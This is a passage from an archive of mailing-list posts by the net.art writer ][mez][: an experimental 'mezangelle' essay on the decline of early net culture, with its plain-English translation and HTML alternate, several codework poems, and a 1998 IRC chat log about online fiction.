*ma][i][n*.if][then][est.......\n\n\n][even now, my post is too long, i've dis.m.bowelled the n][etwurked \nkey][.cremental & sp][outing][iderling meaning threads, the potential of a \npersonalised re][wurking][affirmation....all this in an f.fort 2 offer \nx.][& y & z][planations, 2 rationalise my position, 2 justify my e.motives \nin order that others can ][*][app.rehend....i'm contemplating transcribing \nthis in2 \"regular\" english 4 the masses.......so nettime might post this as \nthey now re.fuse 2 post anything from me that's remotely mezangelled...this \nwill be another terrible net.wurk fracture, another crawling back in2 the \ncomprehension shell][........\n\ni will leave u now with no safe ending, no cloistered summation \nparagraph][ic][. i'll send this as a translated piece][meal][ as well\n\n._____________________________________________\n\n\n_Tracking a Net.Wurk O(r)bit_\n(I like to think that my perceptions are geared towards/through-out a range \nof inputs & observations, all gathered together and tethered (more often \nthan not) via a manifest net.wurked sphere.......the Cybagenic Lattrix if \nyou will. My tendency to fuse actions that are performed beyond this \n(forced reality) field - and the very procedural nuances that this sensing \ndemands - makes this detection exist as a very fragile, convoluted \nactuality. This detection percept is currently taking a battering, as the \nvery structure that has allowed its gestation/ emergence/nesting and \nextended expression is gradually being slaughtered.)\n--\n\n\nWhen I initially orbited this net.wurked reality (and by this I'm referring \nto a state of passive flux where my hands first crab-crouched a keyboard \nand slid over a supine mouse, essentially waiting for a concussive \nconnection hit) the amnesiac-like newness and fugue capabilities were so \nseductive that, at once, the resultant output was infernoesque, with \nparticipants collaboratively floundering in this creative niche that \nallowed for extended exploration and wild rewritings of creative codes and \nestablished artistic & critique conventions. Predicated questionings and \nstandardizations were not, therefore, termed or realized as \"truthful\" \nreference points (or even relevant points-of-view according to the concept \nof the formless \"cyberspace\" condition). Of course, this reasoning is \nblinkered in terms of the sphere of functioning that (I have deemed) was \nemergent in terms of mailing lists and web/net.institution construction - \nand of course, I'm being terribly introspective, and yes, I'm pixellating \nthe past with a nostalgic Utopian sweep. I would counter, however, that \nthere was a stage of net.wurked development that more than reflected this \ntype of (de)function, even as others rushed to quantify, analyze, \nrationalize and smooth entity-spacing into satisfactory communication corners.\n\nNow, you may all cogitate away that this era never existed, or that these \ntendrils are still deliciously and obviously present - in essence, that I \nam becoming one of those crusty \"net.art is dead\" advocates and in doing so \nam missing the meat of the exchange as well as the distended details. And I \nmight well be. I do, however, fervently think (and hope) this not to be the \ncase. From this elongated angle (my mezangelled perceptive base) - and \ngranted it is a difficult one to \"get\" in terms of affective merging with \nthe communication style in which I wallow - this stage of explosive enquiry \n& blase net.wurking is bleeding disastrously into the predictably \nestablished, an ins(i)t(u)itutionialised strain of though and overt action. \nIt is dangerous to assume that blanket-defined corprorate gluttonisation of \nthe web is only to blame, as there are much more insidious modes that have \ncreated this situation.\n\nFor example, when we (read: artists/theorists who embrace and position \nthemselves as firm advocates of things \"net\" - whether that be \nelectronically/collaboratively defined - or those who spout new media \nethics until they are blue in the face/screen) drag traditionally-ratified \nmechanisms of critique back into play, or fall into \npower-dynamically-defined acts of caps-lock shouting in order to make our \npoint, or seek to regulate the way a peer releases output via mandatory \nsubtle regressions into labels that postulate absolutes (\"design\", \n\"usability\" \"ease of use\") or even rationalize our position via logos, we \nare shutting the door on a multitude of prospective actualities and are \ncutting off the avenues that make the net.wurk a place worthy of creative \nexpansion.\n\nThis closing-off, shutting down, embracing of the literal over the \nnodal/lateral is ridiculously difficult to describe, especially given the \ntools that I'm employing are drenched in the very stench of this \nterror-vision of the concrete, the conflagration of the predictable, the \nexplainable, the acceptable, the manifest.\n\nI know some of you will retort, correct, issue differences of opinions, \nportray a stance that allows for \"acceptable\" banter in order to seek \npositive fluid resolutions. All the while I weep for the misbegotten \nphrase, the typo, the flame-bait that isn't, the nudge that is bypassed in \nterms of readability & community function.\n\n--\n(Even now, my post is too long, I've disemboweled the incremental & \nspider-like trails of meaning and the potential of a personalized re-worked \naffirmation - all this in an effort to offer explanations, to rationalize \nmy position and to justify my (e)motives in order that others can \nap(com)prehend. This will be another terrible net.wurk \nfracturing-through-solidification, another crawling back into a \ncommunicative comprehension shell.)\n\n\n\n\n\n\n\n\n\n\n\n\n\n. . .... .....\nnet.wurker][mez][\n.smothering..n.struments..go.here.\nxXXx\n./.\nwww.hotkey.net.au/~netwurker\n.... . .??? .......\n\n--=====================_3283710==_.ALT\nContent-Type: text/html; charset=\"iso-8859-1\"\nContent-Transfer-Encoding: quoted-printable\n\n<html>\n<br>\ni like 2 think my perception][s][ is/r geared 2wards/thru-out a range of\ninputs &amp; ob.serve.][r][ations, all gathered 2g][t][ether][ed][ more\noften than ][k][not a manifest][ering][ net.wurked sp.here][&amp; <br>\nnow][.........<br><br>\n....the cybagenic lattrix if u will ][or won't:)][....<br><br>\n.....my tendency 2 fuse actions that r performed b.yond this ][forced\nreality][ field N the very procedural nuances that this sensing d.mands\nx.ists as a very fragile, convoluted actuality.....<br><br>\n...this percept is currently taking a battering, as the very structure\nthat has allowed its gestation, its nesting, m.mergence, &amp; x.tended\nx.pression is b.ing gradually ][sl][a][ugh][ltered.... <br>\n][e.motive lang.u][s][age, i know, but bear with me][..... <br><br>\n--<br><br>\n...when i ][*.][ini.tially orbited this net.wurked reality ][&amp; by\nthis i'm n.ferring a state of passive flux, where my hands first\ncrab-crouched a keyboard &amp; slid ova a su.Pine mouse, waiting 4 a\ncon][cussive][nection hit][ the amnesiac-like newness, its fugue\ncapabilities were so n.trinsically seductive that @ 1nce, the resultant\noutput was infernoesque, participants all collaboratively <br>\nfloundering in this creative niche that allowed 4 x.tended x.ploration N\nwild rewritings of creative cod][a][es, or established artistic\nconventions, or critiquer f.actua][ry][nts...<br><br>\n....predicated questionings and standardizations were not even\ntermed/realised as truthful reference points or relevant POV's, largely\nb.cause][N e.ffect][ of the formless &quot;cyberspace&quot;\ncondition][ing][........of course, i'm blin][d][kered in terms of the\nsphere of functioning that ][i have deemed][ *was* e.mergent in terms of\nmailing lists N web/net.insitution construction, and of course, i'm being\nterribly intro][duction lacking][.spec][ula][tive][, n yes, i'm\npixellating the past with a nostalgic you.topian sweep, but there was a\nstage of the net.wurked development that more than re][n.][flected this\ntype of ][de][function][........even as others rushed to <br>\nquantify. anal.][e][y][e][se &amp; rati][onalize][fy it.......smooth it\nin2 satis.Factory communication corners...........<br><br>\n............][4give me my meme.ory n.dulgence,\nplease][...................<br><br>\n<br>\n..now u may all clip away typing that this er][ror][a neva x.isted, or\nthat the tendrils r still deliciously ][&amp;n obviously][ pre.s][c][ent,\nthat i'm becoming 1 of those old, crusty &quot;net.art is dead&quot;\n<br>\nadvocat][ions][es, that i'm missing the meat of the x.change, the\ndistended details........<br><br>\n&nbsp;<br>\n........i mite well be......i fervently think ][hope][ not......from this\ne.longated angle, my mezangelled perceptive base - N granted its a\ndifficult one to &quot;get&quot; in terms of affective merging with this\ncommunication style in which i wallow - this stage of explosive n.quiry\n&amp; blase ][net][ wurking is bleeding dis][t][ast][e][rously in2 the\n][predictable][ established, an n.s][i][t][u][itutionialised strain of\nthough &amp; overt action.......N its not blanket-d][ea][f.ined thru the\ncorp.][r][o][a][r.ate glutt.ON.isation of the web, but thru much more\nn.siduous modes........<br><br>\n<br>\n........4 x.ample, when we ][read: artists who m.brace &amp; position\nthem.cell][ves][s as firm advo.Ka][n][ts of things net.wurked, whether\nthat b electronically/collaboratively/spouting new media ethics till we r\nblue in the screen][ drag traditionally-ratified mechanisms of critique\nback in2 play, or fall in2 the power-dynamically-d.fined act of\n][cap][s][lock][houting in order 2 make our point, or seek 2 regulate the\nway a peer releases output via mandatory subtle regressions in2 labels\nthat postulate absolutes ][&quot;design&quot;, &quot;use.ability&quot;\n&quot;ease of use&quot;][, or reason our position via logos, we are\nshutting the door on a multi][log][tude of prospective actualities, we\nare cutting off the avenues that make the net.wurk a place worthy of\ncreative x.pansion...........<br><br>\n<br>\n...&amp; i kno some of u will retort, correct, s.sue differences of\nopinions, portray a stance that allows 4 acceptable banter that seeks\n+itive fluid resolutions....&amp; all the while i weep 4 the\nmis][b][gotten phrase, the typo, the flame-bait that isn't, the nudge\nthat is bypassed in terms of readability &amp; community\nfunction......<br><br>\n<br>\n....this closing-off, shutting down, m.bracing of the literal over the\nnodal/lateral is ridiculously difficult 2 describe, given the tools that\ni'm m.ploying r drenched in the very stench of this terror- vision of the\nconcrete, the conflagration of the predictable, the x.plainable, the\nacceptable, the *ma][i][n*.if][then][est....... <br><br>\n<br>\n][even now, my post is too long, i've dis.m.bowelled the n][etwurked\nkey][.cremental &amp; sp][outing][iderling meaning threads, the potential\nof a personalised re][wurking][affirmation....all this in an f.fort 2\noffer x.][&amp; y &amp; z][planations, 2 rationalise my position, 2\njustify my e.motives in order that others can ][*][app.rehend....i'm\ncontemplating transcribing this in2 &quot;regular&quot; english 4 the\nmasses.......so nettime might post this as they now re.fuse 2 post\nanything from me that's remotely mezangelled...this will be another\nterrible net.wurk fracture, another crawling back in2 the comprehension\nshell][........ <br><br>\ni will leave u now with no safe ending, no cloistered summation\nparagraph][ic][. i'll send this as a translated piece][meal][ as\nwell<br><br>\n._____________________________________________<br><br>\n<br>\n<div align=3D\"center\">_Tracking a Net.Wurk O(r)bit_</div>\n<dl>\n<dd>(I like to think that my perceptions are geared towards/through-out a\nrange of inputs &amp; observations, all gathered together and tethered\n(more often than not) via a manifest net.wurked sphere.......the\nCybagenic Lattrix if you will. My tendency to fuse actions that are\nperformed beyond this (forced reality) field - and the very procedural\nnuances that this sensing demands - makes this detection exist as a very\nfragile, convoluted actuality. This detection percept is currently taking\na battering, as the very structure that has allowed its gestation/\nemergence/nesting and extended expression is gradually being\nslaughtered.)=20\n</dl>--<br><br>\n<br>\nWhen I initially orbited this net.wurked reality (and by this I'm\nreferring to a state of passive flux where my hands first crab-crouched a\nkeyboard and slid over a supine mouse, essentially waiting for a\nconcussive connection hit) the amnesiac-like newness and fugue\ncapabilities were so seductive that, at once, the resultant output was\ninfernoesque, with participants collaboratively floundering in this\ncreative niche that allowed for extended exploration and wild rewritings\nof creative codes and established artistic &amp; critique conventions.\nPredicated questionings and standardizations were not, therefore, termed\nor realized as &quot;truthful&quot; reference points (or even relevant\npoints-of-view according to the concept of the formless\n&quot;cyberspace&quot; condition). Of course, this reasoning is blinkered\nin terms of the sphere of functioning that (I have deemed) was emergent\nin terms of mailing lists and web/net.institution construction - and of\ncourse, I'm being terribly introspective, and yes, I'm pixellating the\npast with a nostalgic Utopian sweep. I would counter, however, that there\nwas a stage of net.wurked development that more than reflected this type\nof (de)function, even as others rushed to quantify, analyze, rationalize\nand smooth entity-spacing into satisfactory communication\ncorners.<br><br>\nNow, you may all cogitate away that this era never existed, or that these\ntendrils are still deliciously and obviously present - in essence, that I\nam becoming one of those crusty &quot;net.art is dead&quot; advocates and\nin doing so am missing the meat of the exchange as well as the distended\ndetails. And I might well be. I do, however, fervently think (and hope)\nthis not to be the case. From this elongated angle (my mezangelled\nperceptive base) - and granted it is a difficult one to &quot;get&quot;\nin terms of affective merging with the communication style in which I\nwallow - this stage of explosive enquiry &amp; blase net.wurking is\nbleeding disastrously into the predictably established, an\nins(i)t(u)itutionialised strain of though and overt action. It is\ndangerous to assume that blanket-defined corprorate gluttonisation of the\nweb is only to blame, as there are much more insidious modes that have\ncreated this situation.<br><br>\nFor example, when we (read: artists/theorists who embrace and position\nthemselves as firm advocates of things &quot;net&quot; - whether that be\nelectronically/collaboratively defined - or those who spout new media\nethics until they are blue in the face/screen) drag\ntraditionally-ratified mechanisms of critique back into play, or fall\ninto power-dynamically-defined acts of caps-lock shouting in order to\nmake our point, or seek to regulate the way a peer releases output via\nmandatory subtle regressions into labels that postulate absolutes\n(&quot;design&quot;, &quot;usability&quot; &quot;ease of use&quot;) or\neven rationalize our position via logos, we are shutting the door on a\nmultitude of prospective actualities and are cutting off the avenues that\nmake the net.wurk a place worthy of creative expansion.<br><br>\nThis closing-off, shutting down, embracing of the literal over the\nnodal/lateral is ridiculously difficult to describe, especially given the\ntools that I'm employing are drenched in the very stench of this\nterror-vision of the concrete, the conflagration of the predictable, the\nexplainable, the acceptable, the manifest. <br><br>\nI know some of you will retort, correct, issue differences of opinions,\nportray a stance that allows for &quot;acceptable&quot; banter in order\nto seek positive fluid resolutions. All the while I weep for the\nmisbegotten phrase, the typo, the flame-bait that isn't, the nudge that\nis bypassed in terms of readability &amp; community function.<br><br>\n--=20\n<dl>\n<dd>(Even now, my post is too long, I've disemboweled the incremental\n&amp; spider-like trails of meaning and the potential of a personalized\nre-worked affirmation - all this in an effort to offer explanations, to\nrationalize my position and to justify my (e)motives in order that others\ncan ap(com)prehend. This will be another terrible net.wurk\nfracturing-through-solidification, another crawling back into a\ncommunicative comprehension shell.)=20\n</dl>&nbsp;<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<br><br>\n<x-sigsep><p></x-sigsep>\n. . .... ..... <br>\nnet.wurker][mez][ <br>\n.smothering..n.struments..go.here. <br>\nxXXx <br>\n./. <br>\n<font color=3D\"#0000FF\"><u><a href=3D\"http://www.hotkey.net.au/~netwurker\" e=\nudora=3D\"autourl\">www.hotkey.net.au/~netwurker</a></u></font>\n<br>\n.... . .??? .......<br>\n</html>\n\n--=====================_3283710==_.ALT--\n\n\n",
                "list": "spectre",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-November/000427.html",
                "message-id": "427",
                "date": "Fri, 02 Nov 2001 16:20:30 +1100",
                "content-type": "n/a",
                "author_name": "][mez][",
                "subject": "[spectre] _Tracking a Net.Wurk O(r)bit_ (+ trajectory translation)"
            },
            {
                "content-type": "n/a",
                "from": "netwurker@pop.hotkey.net.au",
                "id": "1819",
                "content": "/M strength & f.lesh[ion]ed\n/trans *.itive + w[k]eep.ing\n/string lac[x].tos[s]ing + poi.son.ed\n\n/pet (com) .itive\n/pe[a]t (hevy)  (primo leviesque)\n[a (s)p(r)ock.et full of sX.pense]\n\n||tilting border(lined)s + wilting g(r)amma.t[id]olatry||\n||[st]itching limb[ic system]s in c[d]o(g)ursing pro.grammes\n||p.lum[i.nous]met + kah.quay n.gorged\n\n\n*** Con.nec[ks + throats of blood-gold]ting[les] 2 101.101.1.101 (666)\n-\n*** Un[lye]able 2 re.sa[l]ve (g)lo(b).c.al host\n-\n*** Can.cell[s + market .genes](is.)ed connect\n\n\n\n                 <<end msg:: i drink yr gall + spi(l)t(s)tream>>\n                 <<quit msg:: vexing hearts with capit(du)al(istic dusting)>>\n\n\n. . .... .....\npro][tean][.lapsing.txt\n.\n.\n\nhttp://www.hotkey.net.au/~netwurker/\n.i.dream.the.n e X ][t][ us.\n\n.... . .??? .......\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2003-January/001819.html",
                "message-id": "1819",
                "date": "Fri, 03 Jan 2003 10:22:47 +1100",
                "list": "spectre",
                "author_name": "mez",
                "subject": "[spectre] term.i.nation net.wurk[er]\n [final end]"
            },
            {
                "content-type": "n/a",
                "from": "netwurker at hotkey.net.au",
                "id": "2904",
                "content": "\n\n-side.switch+[s]wiping.my.beauty.card\n-shirt.buttoned.+T_tite_+hustler_brite\n-table.broken.+[great]dane_w.h[br]a[il]leing\n\n\n\n   -------------------\n\n\n        + walk.Age.closests+ DrinkIngStates\n        = Open+ ClosedAffectiveness\n\n\n                      + blue.shirt+ BlusterIntro.ducts\n                      = kin.wunder[kammering]+ FashionVerbals\n\n\n\n\n\n\n\n\n\n                              _f[r]iend_circuity vs bio.huntings_\n\n\n\n\n\n\n\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2003-December/002904.html",
                "message-id": "2904",
                "date": "Tue Dec 30 12:19:44 CET 2003",
                "list": "spectre",
                "author_name": "][mez][",
                "subject": "[spectre] _[con]Nec[t]kin Post.Mort.TM_"
            },
            {
                "content-type": "n/a",
                "from": "netwurker at hotkey.net.au",
                "content": "_______________________________________________________\nGod_mimi.Cry_[IRC x.tracting]     06:23pm 09/03/2004\n_______________________________________________________\n\n][mood:  dirty][\n][music: 3dxxxx_tweakers][\n\n\n\n\n- cloning.failure.rates +validity of essentially harvesting siblings via a \ndesigner process in order to combat genetic diseases\n- screening.may b.acceptable +but actively engineering a child to provide \nbone marrow that will save another child =harvesting\n- very Brave.New.Worldish.\n\n\n+\ndiscarded.embryos [effectively \"screened\" + \"terminated\" +2 get that \nspecific.dna.clot]\n+\ndark.figure.cloning -thousands of faux.mutated animals [and probably \nhumans] used in order 2 produce \"successes\".\n\n\n\n---------------------------------------------------------------------disrupting \nthe very fabric of functional} evolution.\n\n\n\n\n\n- how.du.u.class deformity? +how r we to know that that very \"deformity\" \nisn't evolution on a projected scale?\n- mutation.is.evolution's.[m]arrow. +should we play[@] g.od[dessa] \n+actively select who falls into that normalisation category and who doesn't??\n\n\n<][mez][> no\n<][mez][> we won't.\n\n\n\n-------------------------------------------------------------we.need.2.keep.a.lid \non +hyperaccerlation of these so called genetic fixes that\n\n+\nmay effect [xxxx's] progression in terms of attempting 2\n\n\n----------------------------------------------------------quantum.leap ^up^ \nthe phylogenetic scale.\n\n\n(vaccinations) = a social necessity\nif(then) = raising ur child as part of a mainstream westernised community\n= chemical buildup/antibody reactive base\n= [add.ON engineering]\n\n\n<][xxxx][> ..but at least its within the parameters of an enclosed system \n[if u believe current scientific theory that is]\n<][xxxx][> nature [as in ecosystem-based] is contained, and part of that is \nstruggle for survival and reproduction, yus?\n<][xxxxx][> eros and thantos\n<][xxxx[> self-replicating [and NOT individualisation] is necessary to that \nsystem\n\n[housing.of.the.concept.of.evolution]\n\n<][xxxx][> ..so i guess its playing mini-god, or god_mimickry, within \nparameters that allow for it, especially in terms of a more naturalised \nperspective.\n<][xxxxxxxx][> of course as humans we are so species_centric and \noverpopulate beyond the boom/bust cycle of resource usage [ie \nlemmings-style cycle of overpopulate then actively self-cull] that we fuck \nthis delicate balance up\n\n<][xxxxx][> we hyperaccelerate beyond the parameters defined by the strict \nconcept of evolution.\n<][xxxx][> ..but _beyond_ the accepted pattern of functional species \nadaptation....\n<][xxxxx][> the whole point of this discussion re: genetic modification is \nthat nothing exists in isoltion\n<][xxxxx][> isolation, even\n<][xxxx][> that the whole spectrum of altering *1* organisms genetic \nbehaviour [culturally decreed as well as biologically] will effect all.\n\n\n[pinprick_evolution]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n",
                "id": "3092",
                "url": "http://post.in-mind.de/pipermail/spectre/2004-March/003092.html",
                "message-id": "3092",
                "date": "Tue Mar  9 08:33:14 CET 2004",
                "list": "spectre",
                "author_name": "][mez][",
                "subject": "[spectre] God_mimi.Cry_[IRC x.tracting]"
            },
            {
                "content-type": "text/plai",
                "from": "\"][mez][\" <netwurker@hotkey.net.au>",
                "content": "\n\n\n\nGene.o.trash Labels \n\n\t*.[this is not my colourful codepoetry\n\t\timages of a small velveteenish head \n\t\t\tall slippery N binary-glitched]\n\nNewscl.o.ning through Ceramically-C][lashed N l][o][a][ded Teeth\n\n\t*.[barcode rings and ICANN singing \n\t\t\"i can icann i will\"]\n\n\n*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*..**...**...*\n\n\n\tYr predict.cabled dark Statistical Response.*\n\n\t][non][ X.pressi][ng on yr soft bellied throat][ve\nP][oint][.O][f][.C][ontact][.*\n\n\tVolume 1.3 of a L][ewd][urker ][re:][Orientation.*\n\n\tNon-responsive][ness][-sided Participant Chip M.bedd.* \n\n\t[S][l][ee.ping][count 1 seconds][s out of sight.* \n\t\n\t.O.vert ][wo][Manifest Con][sciousness][tent.*\n\n\tN.][di][visible Rawswarming(c).*\n\n\tFree-Radi.cal N.al.y.sis][ter][ Clouding.*\n\n\tOver.arch.ing Maleinglist Blue-Printing.* \n\n\tAn ][re:][Active De.sign.][posted][ation.*\n\n\n*..**...**...**.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.**.*.*.*.*.*.\n\n\n\n\n\t--massed ][re:][genders clinging upwards \n\n\t--filling e.volu][mes][tionary gap.pages\n\n\t--swimming in shoals of beta-blocker infomash\n\n\t--vehicular datatraffic back-breakage \n\n\t--reified t][heory][onnage slapped against ][tesla][ c.oils\n \n\t-- .XX. -porno units of floating density \n\n\t--we swamp N stitch blond baggage in2 ochred tones of re][a][d\n\n\n\n\n*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*..**...**...*\n\n\n\n         --\n\n\t[A.D.D  D.D.T  D][u][CT T.A.G]\n\n         --\n\n\n\n\t*.flag a future.stun-gunned.strand \n\t\t& flick yr Nouvelle Vague.node-mode.off\n\t\t\ttwinned cauls of ][t][here N now.*\n\n \n\n\n\n\n\n\n\n\n\n \n.           .    ....         .....\n         net.wurker][mez][\n      n.sert x.coins.x .here. xXXx             \n                   ./.               \n    www.hotkey.net.au/~netwurker\n.... .               .???  .......\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "id": "00671",
                "date": "Thu, 31 May 2001 18:27:19 +1000",
                "to": "nettime-l@bbs.thing.net, list@rhizome.org,syndicate@eg-r.isp-eg.de",
                "message-id": "3.0.6.32.20010531182719.00a57360@hotkey.net.au",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0105/msg00671.html",
                "list": "nettime_bold",
                "author_name": "][mez][",
                "subject": "[Nettime-bold] N.][di][visible Rawswarming(c).*"
            },
            {
                "content-type": "text/plai",
                "from": "ez <mezandwalt@wollongong.starway.net.au>",
                "content": "Log file opened at: 13/8/98 8:36:56 AM\n\n#enslog: ti amerika @mezaway\n*** End of /NAMES list.\n*** mezaway is now known as mez\n       mez: hiho all\n-*clipper*- DCC Chat (203.27.235.29)\n*** DCC CHAT request from clipper\n       mez: back with break.fast\n       mez: ;)\n   amerika: sue?\n        ti: just started logging, missed the red ;-(\n   amerika: what's for brekkie?\n        ti: yes i think sue is coming\n       mez: juzt toast\n       mez: and tea\n   amerika: great\n        ti: shes not here yet\n       mez: all i had thyme 4\n       mez: ;)\n\n\nThe Undercover Girl wrote:\n> \n> Hello Ms Post Modemism!\n\nsaluting Chief TUG Ingwill :)\n<insert subversive TUG handshake here> \n\n\n*** Mode change \"+o amerika\" on #enslog by mez\n*** Mode change \"+o ti\" on #enslog by mez\n\n\n> \n> Is Ms Post Modemism your codename?????\n\naffirmative.\n\n> \n> And thank you for your respond.\n\n*BLINK* ;) *BLINK*\n\n> \n> (How did you find us??????)\n\nThrough a mailing list - nettime to be more specific.\n\n> \n> 1. What is agent Ms Post Modemism's history?\n\nMs Post Modemism has no history  \nMs Post Modemism has a herstory\nthe story is long it reaches far back into bloodbloated pasts and snags it\nway into a viscous future and mixes space and tense and narrative (jigsawing)\nit has aborted storylines, jilted meanings and a touch of static\nMs P M has gestated inside others like\nPasse Parvenu\nMs Corruption\nGoddessAeon\nand now emmerges from her voidwhitescreen to mix and match cut and paste\npuke and rant inside the muthamatrix \nneva forgetting the flesh (all the while)\n\n\n*** Mode change \"-o mez\" on #enslog by mez\n   amerika: I have a text performance that I'd like to experiment with\n        ti: terrific!\n   amerika: chat-storytelling\n   amerika: should we wait?\n        ti: i need drugs\n            mez gets curious\n   clipper: so do i!\n       mez: curious.err & curious.her\n       mez: :)\n        ti: shall we just start then mark?\n        ti: jump in and on!\n       mez: ti>.wot kind?\n   amerika: me/ sparks a dobbie & passes it to ti\n   clipper: macchiato and speed\n        ti: thanks love,\n       mez: ;)\n            ti sighs and tugs\n   amerika: why not just bogart it for awhile while I perform\n   amerika: btw, I'm lissening to the Zonar CD -- for effect\n        ti: oh good, i can just watch for a while then?\n   amerika: I'd like to take this opportunity to welcome you all to the\nenslog chat I'm about to stream called 'The Writer As\nPseudo-Autobiographical Work-In-Progress'...in this chat space I am\noccasonally employing the practice of surf-sample-manipulate, that is, I am\ncutting and pasting previously recorded text into the multi-user chat\nenvironment as if it were me \"speaking\" in the present...\n            mez is urally m-bib-ing Biftek\n   amerika: is this me in the present?\n   amerika: or pre-recorded?\n        ti: no its you\n\n\n> 2. What does Ms Post Modemism mean?\n\nMs  = don't label me i label myself with schizoid alacrity\nPost = wot comes after the flickering? The sweat on keyboardian lives? \nModemism = *flash flash* red light go, green light....millenium musings echo\nthru a digital aftershocking..i will be here to capture u...\n\n\n> 3. What is agent Ms Post Modemism role?\nEmmerging from my voidwhitescreen i mix and match cut and paste puke and\nrant inside the muthamatrix...\nfleshlonging drives all\n\n> 4. What methods will agents Ms Post Modemism use when he/she covers \"New\n> Stimuli\"?\n\n<TITLE><I>*and the goddess bowed down three times and let her fingers meld into\nthe small plastic...*</I></TITLE>\ntext and image\nimage text\ncurrencies of meaning won't stop me *types she*\n\n   amerika: I am doing this from home, which for me is here in Boulder\nColorado, where I am doing what many writers before have done, that is, I\nam sitting a desk with a writing tool composing my writing-life right\nbefore our very eyes...\n       mez: shood we shuddup?\n       mez: or interACT?\n            clipper reiterates mez question\n   amerika: mez, let me tell my story!\n   amerika: is it me or is it prerecorded?\n\n\n> 5. Does agent Ms Post Modemism have a plan or a specific angle on\n> his/her\n> undercover work?\n\nTo break the links that bind meaning (associations blackboxing)\nand employ reconstructive image surgery (text wanderings)\n\n> 6. Is there specific area agent Ms Post Modemism wants to cover?\n\nfiction \n\namerika: proliferate, yes...and fragment too\n--> sue  dope does the same to me, cant do it either!\n   amerika: the novel is for paper -- but there will be conceptual art\nworks in new media that parallel it...\n       mez: concept.U.all artworks? like.....?\n   amerika: Yes, Sue, the opening chapter was just published by Penguin UK\nin an anthology called New York Stories...ed. Nicholas Royle\n       Sue: I do think there are problems for writers who work in new media\ndue to the tempattion to reowrk in different formats\n\n> 7. Will there be several reports from agent Ms Post Modemism - are we\n> dealing with an active agent?\n\nactively engaging\nreporting as we cyberspeak (unspecified drug object projects itself into the\nreal in quasibook formings - Aspiring to peguinsuitedhood lurks in its\nfiction allocated zone)..the best is yet to come\nsee report one\nand instalment one of report two\n\n> 8. Does agent Ms Post Modemism have some thoughts about how he/she\n> wishes the reports to be presented?\n\nincorporations into a cybergellish mold...\nI send the reports and will await yr presentation of them\n\n> 9. Does the agent Ms Post Modemism material covered and shown on TUGweb\n> need an introduction that says something about the agent's character,\n> milieu/surroundings, methods and which tools he/she will use?\n\nthis interrogative questioning list and answers should be present *introded\nand electroded into the context report body*...\n\n> \n> Above we have asked you some questions about taking an agent character,\n> wish is important in this project (TUG) to cover hidden connections. TUG\n> think this is an important detail TUG agents must deal with.\n> TUG want a good story. We want to get to know our agents, to gain\n> insights into their lives, what kind of specialities they have and what\n> their plans for the future are.\n\n>Date: Thu, 11 Jun 1998 15:10:57\n>To: ensemble-talk@va.com.au\n>From: mez <mezandwalt@wollongong.starway.net.au>\n>Subject: Re: N-se[ed].[a]mble\n>\n>Floating thru the stat--ix--et.her, Bill typed:\n>\n>>Can there be such a thing as lurking aloud?\n>\n>t.[here]e can b, and ther[r]e is. I'm a meme.burr of the \"Lurk.hinge\nal[loud]wed\" Club. ;] [insert ran/queen/dom associative links to teri's 's\npaces']. n.ICE. \n>Not b.ing 1 to dwell in the rea[L]ms of applied anal.y?.sis, i cre[che]ate\nmi own. Inter[n.ALL]est[imate]ing that this pro.ject[ile] shood arise\n[insert synchronicmanicbytes here] as i m-bark on my e-mail-tic fix.tion\nn-deavor -\n>\n>re: u[oo]zing sig file-ing as rhizomezatic fix.ti.on/off lures.\n>\n>M inter[active]est[imable]ed in c-ing how SE[e]D/.u[n]ctio/NODESz e-rupts.\n>\n       mez: i've n-corporated fictionalized seg-ments in2 sig files\n       Sue: do you think the web offers new opportunities...\n       Sue: for writers to experin=ence fiction for real?\n       mez: makes for confused email pardners;)\n   amerika: yes, definitely\n   amerika: without it I never meet any of you & that would be a much less\ninteresting life!\n      tink: i agree...\n        ti: im wondering how some conceptual artists see this environment,\nclipper, got any ideas on this one?\n       mez: art m-ulating write m-ulating life m-ulating .....?\n   clipper: im thinking of 70s events and happenings\n        ti: yes, the connectivity is very important\n       \n\n\nI have resent report one (unspecified drug object)\nreport two is here - more fictionalized fiction:\n****************************************************************\n\namerika: ah, but that's how you measure value.  and once this value is\nconsistently measured, so too will money follow -- it's earlyin the game,\nfolks...\n       Sue: clipper - no sorry i am not being clear---\n       mez: ti>>i agree, seems the very unit of measurement in multimedia -\nthe teXt, lettas, etc - is a constraint and freedom valve all at 1ce\n\n\n\n\n\n\n\n\n\n\n\nmez: but still Amerika, u did start out the session with a passive\nvoice, letting us ab-sorb a story, rather than start with an inter Active\napproach\n\n\n\n\nSue: smile tink\n       mez: Scifiborgian Salmon Sliver\n       Sue: where are the damn verbs in this place?\n            ti laughs with tink\n   amerika: well, ti, let's work on it!\n       Sue: i think we have enough to contend with\n      tink: Grenwich Mean time is Mean.\n       Sue: language differences are vast even between those 3\n        ti: sue type \"/me laughs\" without the quotations\n   clipper: maybe the verbs are what the flesh retains???\n            Sue laughs\n       Sue: \"ah! thanks!\n            amerika verbs\n       mez: Flesh Verb.atim\n\n\n       mez: luv obsidian\n       mez: kn[owledge]ife\n       mez: kn[owledge][l]ife\n       Sue: mez i juts dont know how you do that\n       mez: do wot?\n       Sue: will you leave your brain to science?\n       mez: eheheh\n       mez: prolly:)\n   clipper: youve got some great obsessions ti\n       Sue: insert words in words\n   amerika: tits{mez}mermaid}izing\n       mez: :)\n            Sue 